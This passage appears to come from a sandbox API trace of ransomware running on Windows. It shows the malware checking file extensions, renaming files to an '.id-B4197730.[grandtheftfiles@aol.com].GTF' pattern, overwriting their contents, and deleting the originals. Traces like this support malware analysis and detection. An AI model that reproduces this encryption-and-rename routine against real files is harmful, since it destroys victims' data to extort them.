	[0085.837] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll") returned 73
	[0085.837] lstrlenW (lpString=".zip") returned 4
	[0085.837] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0085.837] lstrlenW (lpString=".rar") returned 4
	[0085.837] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0085.837] lstrlenW (lpString=".bz2") returned 4
	[0085.837] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0085.837] lstrlenW (lpString=".7z") returned 3
	[0085.837] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0085.837] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll") returned 73
	[0085.837] lstrlenW (lpString=".dbf") returned 4
	[0085.837] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0085.837] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll") returned 73
	[0085.837] lstrlenW (lpString=".1cd") returned 4
	[0085.837] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0085.837] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll") returned 73
	[0085.837] lstrlenW (lpString=".jpg") returned 4
	[0085.837] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0085.838] lstrcmpiW (lpString1=".exe", lpString2=".GTF") returned -1
	[0085.838] lstrlenW (lpString="appvcleaner.exe") returned 15
	[0085.838] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\appvcleaner.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvcleaner.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0085.838] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x38dff14 | out: lpFileSize=0x38dff14*=2054872) returned 1
	[0085.838] CloseHandle (hObject=0x358) returned 1
	[0085.838] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\appvcleaner.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvcleaner.exe")) returned 0x20
	[0085.838] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\appvcleaner.exe.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvcleaner.exe.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0085.838] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\appvcleaner.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvcleaner.exe"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\appvcleaner.exe.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvcleaner.exe.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 1
	[0085.839] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\appvcleaner.exe.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvcleaner.exe.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0085.839] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38dfc64 | out: lpNewFilePointer=0x0) returned 1
	[0085.839] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38dfc24 | out: lpNewFilePointer=0x0) returned 1
	[0085.839] ReadFile (in: hFile=0x358, lpBuffer=0x3d56058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x38dfc30, lpOverlapped=0x0 | out: lpBuffer=0x3d56058*, lpNumberOfBytesRead=0x38dfc30*=0x40000, lpOverlapped=0x0) returned 1
	[0086.391] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0xa739d, lpNewFilePointer=0x0, dwMoveMethod=0x38dfc24 | out: lpNewFilePointer=0x0) returned 1
	[0086.391] ReadFile (in: hFile=0x358, lpBuffer=0x3d96058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x38dfc30, lpOverlapped=0x0 | out: lpBuffer=0x3d96058*, lpNumberOfBytesRead=0x38dfc30*=0x40000, lpOverlapped=0x0) returned 1
	[0086.398] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x38dfc64 | out: lpNewFilePointer=0xffffffff) returned 1
	[0086.398] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x1b5ad8, lpNewFilePointer=0x0, dwMoveMethod=0x38dfc24 | out: lpNewFilePointer=0x0) returned 1
	[0086.398] ReadFile (in: hFile=0x358, lpBuffer=0x3dd6058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x38dfc30, lpOverlapped=0x0 | out: lpBuffer=0x3dd6058*, lpNumberOfBytesRead=0x38dfc30*=0x40000, lpOverlapped=0x0) returned 1
	[0086.414] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0086.414] WriteFile (in: hFile=0x358, lpBuffer=0x3d56020*, nNumberOfBytesToWrite=0xc010a, lpNumberOfBytesWritten=0x38dfca8, lpOverlapped=0x0 | out: lpBuffer=0x3d56020*, lpNumberOfBytesWritten=0x38dfca8*=0xc010a, lpOverlapped=0x0) returned 1
	[0086.748] SetEndOfFile (hFile=0x358) returned 1
	[0086.749] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0x40000) returned 0x3eb3378
	[0087.265] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38dfc74 | out: lpNewFilePointer=0x0) returned 1
	[0087.265] WriteFile (in: hFile=0x358, lpBuffer=0x3eb3378*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x38dfc80, lpOverlapped=0x0 | out: lpBuffer=0x3eb3378*, lpNumberOfBytesWritten=0x38dfc80*=0x40000, lpOverlapped=0x0) returned 1
	[0087.267] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0xa739d, lpNewFilePointer=0x0, dwMoveMethod=0x38dfc74 | out: lpNewFilePointer=0x0) returned 1
	[0087.267] WriteFile (in: hFile=0x358, lpBuffer=0x3eb3378*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x38dfc80, lpOverlapped=0x0 | out: lpBuffer=0x3eb3378*, lpNumberOfBytesWritten=0x38dfc80*=0x40000, lpOverlapped=0x0) returned 1
	[0087.269] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x1b5ad8, lpNewFilePointer=0x0, dwMoveMethod=0x38dfc74 | out: lpNewFilePointer=0x0) returned 1
	[0087.269] WriteFile (in: hFile=0x358, lpBuffer=0x3eb3378*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x38dfc80, lpOverlapped=0x0 | out: lpBuffer=0x3eb3378*, lpNumberOfBytesWritten=0x38dfc80*=0x40000, lpOverlapped=0x0) returned 1
	[0087.271] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3eb3378 | out: hHeap=0x720000) returned 1
	[0087.271] CloseHandle (hObject=0x358) returned 1
	[0087.271] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\appvcleaner.exe.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x20) returned 1
	[0087.272] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\appvcleaner.exe") returned 73
	[0087.272] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\appvcleaner.exe") returned 73
	[0087.272] lstrlenW (lpString=".doc") returned 4
	[0087.272] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1
	[0087.272] lstrlenW (lpString=".docx") returned 5
	[0087.272] lstrcmpiW (lpString1=".docx", lpString2="r.exe") returned -1
	[0087.272] lstrlenW (lpString=".pdf") returned 4
	[0087.272] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1
	[0087.272] lstrlenW (lpString=".xls") returned 4
	[0087.272] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1
	[0087.272] lstrlenW (lpString=".xlsx") returned 5
	[0087.272] lstrcmpiW (lpString1=".xlsx", lpString2="r.exe") returned -1
	[0087.272] lstrlenW (lpString=".ppt") returned 4
	[0087.272] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1
	[0087.272] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\appvcleaner.exe") returned 73
	[0087.272] lstrlenW (lpString=".zip") returned 4
	[0087.272] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1
	[0087.272] lstrlenW (lpString=".rar") returned 4
	[0087.272] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1
	[0087.272] lstrlenW (lpString=".bz2") returned 4
	[0087.272] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1
	[0087.272] lstrlenW (lpString=".7z") returned 3
	[0087.272] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1
	[0087.272] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\appvcleaner.exe") returned 73
	[0087.272] lstrlenW (lpString=".dbf") returned 4
	[0087.272] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1
	[0087.272] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\appvcleaner.exe") returned 73
	[0087.272] lstrlenW (lpString=".1cd") returned 4
	[0087.272] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1
	[0087.272] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\appvcleaner.exe") returned 73
	[0087.272] lstrlenW (lpString=".jpg") returned 4
	[0087.272] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1
	[0087.273] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\appvcleaner.exe") returned 73
	[0087.273] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\appvcleaner.exe") returned 73
	[0087.273] lstrlenW (lpString=".doc") returned 4
	[0087.273] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1
	[0087.273] lstrlenW (lpString=".docx") returned 5
	[0087.273] lstrcmpiW (lpString1=".docx", lpString2="r.exe") returned -1
	[0087.273] lstrlenW (lpString=".pdf") returned 4
	[0087.273] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1
	[0087.273] lstrlenW (lpString=".xls") returned 4
	[0087.273] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1
	[0087.273] lstrlenW (lpString=".xlsx") returned 5
	[0087.273] lstrcmpiW (lpString1=".xlsx", lpString2="r.exe") returned -1
	[0087.273] lstrlenW (lpString=".ppt") returned 4
	[0087.273] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1
	[0087.273] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\appvcleaner.exe") returned 73
	[0087.273] lstrlenW (lpString=".zip") returned 4
	[0087.273] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1
	[0087.273] lstrlenW (lpString=".rar") returned 4
	[0087.273] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1
	[0087.273] lstrlenW (lpString=".bz2") returned 4
	[0087.273] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1
	[0087.273] lstrlenW (lpString=".7z") returned 3
	[0087.273] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1
	[0087.273] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\appvcleaner.exe") returned 73
	[0087.273] lstrlenW (lpString=".dbf") returned 4
	[0087.273] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1
	[0087.273] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\appvcleaner.exe") returned 73
	[0087.273] lstrlenW (lpString=".1cd") returned 4
	[0087.273] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1
	[0087.273] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\appvcleaner.exe") returned 73
	[0087.273] lstrlenW (lpString=".jpg") returned 4
	[0087.273] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1
	[0087.274] lstrcmpiW (lpString1=".hash", lpString2=".GTF") returned 1
	[0087.274] lstrlenW (lpString="i640.hash") returned 9
	[0087.274] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i640.hash" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\i640.hash"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0087.274] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x38dff14 | out: lpFileSize=0x38dff14*=102) returned 1
	[0087.274] CloseHandle (hObject=0x358) returned 1
	[0087.274] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i640.hash" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\i640.hash")) returned 0x20
	[0087.274] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i640.hash.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\i640.hash.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0087.274] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i640.hash" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\i640.hash"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0087.274] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0087.274] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0087.274] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i640.hash.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\i640.hash.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc
	[0087.325] GetLastError () returned 0x0
	[0087.325] ReadFile (in: hFile=0x358, lpBuffer=0x3d56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d56020*, lpNumberOfBytesRead=0x38dfecc*=0x66, lpOverlapped=0x0) returned 1
	[0087.326] WriteFile (in: hFile=0x2fc, lpBuffer=0x3d56020*, nNumberOfBytesToWrite=0x70, lpNumberOfBytesWritten=0x38dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d56020*, lpNumberOfBytesWritten=0x38dfc94*=0x70, lpOverlapped=0x0) returned 1
	[0087.327] ReadFile (in: hFile=0x358, lpBuffer=0x3d56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d56020*, lpNumberOfBytesRead=0x38dfecc*=0x0, lpOverlapped=0x0) returned 1
	[0087.327] WriteFile (in: hFile=0x2fc, lpBuffer=0x3d56020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x38dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d56020*, lpNumberOfBytesWritten=0x38dfc94*=0xe6, lpOverlapped=0x0) returned 1
	[0087.327] SetEndOfFile (hFile=0x2fc) returned 1
	[0087.327] CloseHandle (hObject=0x2fc) returned 1
	[0087.327] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0087.327] SetEndOfFile (hFile=0x358) returned 1
	[0087.328] CloseHandle (hObject=0x358) returned 1
	[0087.328] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i640.hash.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x20) returned 1
	[0087.329] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i640.hash" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\i640.hash")) returned 1
	[0087.330] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i640.hash") returned 67
	[0087.330] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i640.hash") returned 67
	[0087.330] lstrlenW (lpString=".doc") returned 4
	[0087.330] lstrcmpiW (lpString1=".doc", lpString2="hash") returned -1
	[0087.330] lstrlenW (lpString=".docx") returned 5
	[0087.330] lstrcmpiW (lpString1=".docx", lpString2=".hash") returned -1
	[0087.330] lstrlenW (lpString=".pdf") returned 4
	[0087.330] lstrcmpiW (lpString1=".pdf", lpString2="hash") returned -1
	[0087.330] lstrlenW (lpString=".xls") returned 4
	[0087.330] lstrcmpiW (lpString1=".xls", lpString2="hash") returned -1
	[0087.330] lstrlenW (lpString=".xlsx") returned 5
	[0087.330] lstrcmpiW (lpString1=".xlsx", lpString2=".hash") returned 1
	[0087.330] lstrlenW (lpString=".ppt") returned 4
	[0087.330] lstrcmpiW (lpString1=".ppt", lpString2="hash") returned -1
	[0087.330] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i640.hash") returned 67
	[0087.330] lstrlenW (lpString=".zip") returned 4
	[0087.330] lstrcmpiW (lpString1=".zip", lpString2="hash") returned -1
	[0087.330] lstrlenW (lpString=".rar") returned 4
	[0087.330] lstrcmpiW (lpString1=".rar", lpString2="hash") returned -1
	[0087.330] lstrlenW (lpString=".bz2") returned 4
	[0087.330] lstrcmpiW (lpString1=".bz2", lpString2="hash") returned -1
	[0087.330] lstrlenW (lpString=".7z") returned 3
	[0087.330] lstrcmpiW (lpString1=".7z", lpString2="ash") returned -1
	[0087.330] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i640.hash") returned 67
	[0087.330] lstrlenW (lpString=".dbf") returned 4
	[0087.330] lstrcmpiW (lpString1=".dbf", lpString2="hash") returned -1
	[0087.330] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i640.hash") returned 67
	[0087.330] lstrlenW (lpString=".1cd") returned 4
	[0087.330] lstrcmpiW (lpString1=".1cd", lpString2="hash") returned -1
	[0087.330] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i640.hash") returned 67
	[0087.330] lstrlenW (lpString=".jpg") returned 4
	[0087.330] lstrcmpiW (lpString1=".jpg", lpString2="hash") returned -1
	[0087.331] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i640.hash") returned 67
	[0087.331] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i640.hash") returned 67
	[0087.331] lstrlenW (lpString=".doc") returned 4
	[0087.331] lstrcmpiW (lpString1=".doc", lpString2="hash") returned -1
	[0087.331] lstrlenW (lpString=".docx") returned 5
	[0087.331] lstrcmpiW (lpString1=".docx", lpString2=".hash") returned -1
	[0087.331] lstrlenW (lpString=".pdf") returned 4
	[0087.331] lstrcmpiW (lpString1=".pdf", lpString2="hash") returned -1
	[0087.331] lstrlenW (lpString=".xls") returned 4
	[0087.331] lstrcmpiW (lpString1=".xls", lpString2="hash") returned -1
	[0087.331] lstrlenW (lpString=".xlsx") returned 5
	[0087.331] lstrcmpiW (lpString1=".xlsx", lpString2=".hash") returned 1
	[0087.331] lstrlenW (lpString=".ppt") returned 4
	[0087.331] lstrcmpiW (lpString1=".ppt", lpString2="hash") returned -1
	[0087.331] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i640.hash") returned 67
	[0087.331] lstrlenW (lpString=".zip") returned 4
	[0087.331] lstrcmpiW (lpString1=".zip", lpString2="hash") returned -1
	[0087.331] lstrlenW (lpString=".rar") returned 4
	[0087.331] lstrcmpiW (lpString1=".rar", lpString2="hash") returned -1
	[0087.331] lstrlenW (lpString=".bz2") returned 4
	[0087.331] lstrcmpiW (lpString1=".bz2", lpString2="hash") returned -1
	[0087.331] lstrlenW (lpString=".7z") returned 3
	[0087.331] lstrcmpiW (lpString1=".7z", lpString2="ash") returned -1
	[0087.331] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i640.hash") returned 67
	[0087.331] lstrlenW (lpString=".dbf") returned 4
	[0087.331] lstrcmpiW (lpString1=".dbf", lpString2="hash") returned -1
	[0087.331] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i640.hash") returned 67
	[0087.331] lstrlenW (lpString=".1cd") returned 4
	[0087.331] lstrcmpiW (lpString1=".1cd", lpString2="hash") returned -1
	[0087.331] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i640.hash") returned 67
	[0087.331] lstrlenW (lpString=".jpg") returned 4
	[0087.331] lstrcmpiW (lpString1=".jpg", lpString2="hash") returned -1
	[0087.332] lstrcmpiW (lpString1=".hash", lpString2=".GTF") returned 1
	[0087.332] lstrlenW (lpString="i641033.hash") returned 12
	[0087.332] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i641033.hash" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\i641033.hash"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0087.332] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x38dff14 | out: lpFileSize=0x38dff14*=102) returned 1
	[0087.332] CloseHandle (hObject=0x358) returned 1
	[0087.332] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i641033.hash" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\i641033.hash")) returned 0x20
	[0087.332] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i641033.hash.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\i641033.hash.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0087.332] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i641033.hash" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\i641033.hash"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0087.332] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0087.332] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0087.332] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i641033.hash.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\i641033.hash.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc
	[0087.333] GetLastError () returned 0x0
	[0087.333] ReadFile (in: hFile=0x358, lpBuffer=0x3d56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d56020*, lpNumberOfBytesRead=0x38dfecc*=0x66, lpOverlapped=0x0) returned 1
	[0087.765] WriteFile (in: hFile=0x2fc, lpBuffer=0x3d56020*, nNumberOfBytesToWrite=0x70, lpNumberOfBytesWritten=0x38dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d56020*, lpNumberOfBytesWritten=0x38dfc94*=0x70, lpOverlapped=0x0) returned 1
	[0087.778] ReadFile (in: hFile=0x358, lpBuffer=0x3d56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d56020*, lpNumberOfBytesRead=0x38dfecc*=0x0, lpOverlapped=0x0) returned 1
	[0087.778] WriteFile (in: hFile=0x2fc, lpBuffer=0x3d56020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x38dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d56020*, lpNumberOfBytesWritten=0x38dfc94*=0xec, lpOverlapped=0x0) returned 1
	[0087.778] SetEndOfFile (hFile=0x2fc) returned 1
	[0087.778] CloseHandle (hObject=0x2fc) returned 1
	[0087.778] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0087.778] SetEndOfFile (hFile=0x358) returned 1
	[0087.779] CloseHandle (hObject=0x358) returned 1
	[0087.779] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i641033.hash.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x20) returned 1
	[0087.779] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i641033.hash" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\i641033.hash")) returned 1
	[0087.779] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i641033.hash") returned 70
	[0087.779] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i641033.hash") returned 70
	[0087.779] lstrlenW (lpString=".doc") returned 4
	[0087.779] lstrcmpiW (lpString1=".doc", lpString2="hash") returned -1
	[0087.779] lstrlenW (lpString=".docx") returned 5
	[0087.779] lstrcmpiW (lpString1=".docx", lpString2=".hash") returned -1
	[0087.779] lstrlenW (lpString=".pdf") returned 4
	[0087.779] lstrcmpiW (lpString1=".pdf", lpString2="hash") returned -1
	[0087.779] lstrlenW (lpString=".xls") returned 4
	[0087.779] lstrcmpiW (lpString1=".xls", lpString2="hash") returned -1
	[0087.780] lstrlenW (lpString=".xlsx") returned 5
	[0087.780] lstrcmpiW (lpString1=".xlsx", lpString2=".hash") returned 1
	[0087.780] lstrlenW (lpString=".ppt") returned 4
	[0087.780] lstrcmpiW (lpString1=".ppt", lpString2="hash") returned -1
	[0087.780] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i641033.hash") returned 70
	[0087.780] lstrlenW (lpString=".zip") returned 4
	[0087.780] lstrcmpiW (lpString1=".zip", lpString2="hash") returned -1
	[0087.780] lstrlenW (lpString=".rar") returned 4
	[0087.780] lstrcmpiW (lpString1=".rar", lpString2="hash") returned -1
	[0087.780] lstrlenW (lpString=".bz2") returned 4
	[0087.780] lstrcmpiW (lpString1=".bz2", lpString2="hash") returned -1
	[0087.780] lstrlenW (lpString=".7z") returned 3
	[0087.780] lstrcmpiW (lpString1=".7z", lpString2="ash") returned -1
	[0087.780] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i641033.hash") returned 70
	[0087.780] lstrlenW (lpString=".dbf") returned 4
	[0087.780] lstrcmpiW (lpString1=".dbf", lpString2="hash") returned -1
	[0087.780] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i641033.hash") returned 70
	[0087.780] lstrlenW (lpString=".1cd") returned 4
	[0087.780] lstrcmpiW (lpString1=".1cd", lpString2="hash") returned -1
	[0087.780] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i641033.hash") returned 70
	[0087.780] lstrlenW (lpString=".jpg") returned 4
	[0087.780] lstrcmpiW (lpString1=".jpg", lpString2="hash") returned -1
